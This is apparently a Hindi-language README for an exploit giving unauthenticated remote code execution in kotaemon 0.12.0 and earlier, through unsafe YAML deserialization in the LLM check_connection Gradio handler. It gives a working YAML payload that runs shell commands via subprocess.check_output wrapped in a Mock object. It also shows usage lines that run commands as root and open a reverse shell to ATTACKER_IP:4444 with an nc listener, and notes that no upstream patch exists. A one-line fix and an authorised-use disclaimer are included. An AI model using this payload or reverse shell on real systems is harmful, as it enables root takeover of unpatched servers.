
LLM कनेक्शन जाँचों में असुरक्षित YAML डिसीरियलाइज़ेशन को लक्षित करने वाला बिना प्रमाणीकरण वाला रिमोट कोड निष्पादन एक्सप्लॉइट; उजागर Gradio API के माध्यम से मनमाना कमांड निष्पादन और रिवर्स शेल्स का समर्थन करता है।
LLM-सेटिंग्स कनेक्शन जाँच में असुरक्षित डिसीरियलाइज़ेशन के माध्यम से kotaemon (<= 0.12.0) में बिना प्रमाणीकरण के रिमोट कोड निष्पादन।
kotaemon का LLM-सेटिंग्स check_connection Gradio हैंडलर (libs/ktem/ktem/llms/ui.py) हमलावर द्वारा आपूर्ति किए गए YAML spec को पार्स करता है और इसे असुरक्षित रूप से डिसीरियलाइज़ करता है:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False) (theflow/utils/modules.py) बिना किसी allowlist के import_dotted_string के माध्यम से spec की __type__ कुंजी को resolve करता है, फिर हमलावर-नियंत्रित kwargs के साथ उसे instantiate करता है:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
इसलिए ऐसा spec जिसका __type__ subprocess.check_output है, डिसीरियलाइज़ेशन के दौरान एक OS कमांड चलाता है (CWE-502)।
दो चीज़ें इसे एक साफ-सुथरा बिना प्रमाणीकरण वाला RCE बनाती हैं:
auth= के बिना लॉन्च किया जाता है। "लॉगिन" केवल UI टैब्स की दृश्यता टॉगल करता है; हर पंजीकृत इवेंट हैंडलर सार्वजनिक रूप से कॉल करने योग्य है। KH_FEATURE_USER_MANAGEMENT HTTP/queue API को रोकता नहीं है।info["spec"].update(<attacker yaml>) LLM spec को पूरी तरह से ओवरराइड कर देता है, इसलिए पेलोड कभी भी किसी वास्तविक LLM प्रदाता से संपर्क नहीं करता।kotaemon की आधिकारिक Docker इमेज root के रूप में चलती है, इसलिए RCE root के रूप में चलता है। लेखन के समय कोई अपस्ट्रीम फिक्स नहीं है।
वितरित YAML spec:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize पहले return_value में रिकर्स करता है → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) कमांड को निष्पादित करता है। इसे unittest.mock.Mock में लपेटने से कोई भी बचा हुआ बेस-स्पेक kwargs (model/api_key) अवशोषित हो जाता है ताकि बाहरी कॉल कभी विफल न हो, और कमांड का stdout हैंडलर के Got response: ... संदेश में वापस प्रतिध्वनित होता है।
केवल Stdlib (Python 3) आवश्यक है। एक्सप्लॉइट दो Gradio कॉल करता है: create_llm (एक नामित LLM एंट्री सीड करें ताकि llms.info()[name] resolve हो सके) फिर check_connection (पेलोड डिलीवर करें)।
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
यदि किसी टारगेट पर create_llm / check_connection हैंडलर नाम अलग हैं, तो उन्हें GET /config (dependencies[].api_name) से एन्यूमरेट करें और समायोजित करें।
kotaemon <= 0.12.0 (डिफ़ॉल्ट पोर्ट 7860)। लेखन के समय कोई अपस्ट्रीम पैच उपलब्ध नहीं है।
deserialize को safe=True और एक allowed_modules allowlist के साथ कॉल करें ताकि कोई भी हमलावर __type__ import_dotted_string तक न पहुँचे।केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। केवल उन्हीं सिस्टम्स के विरुद्ध उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।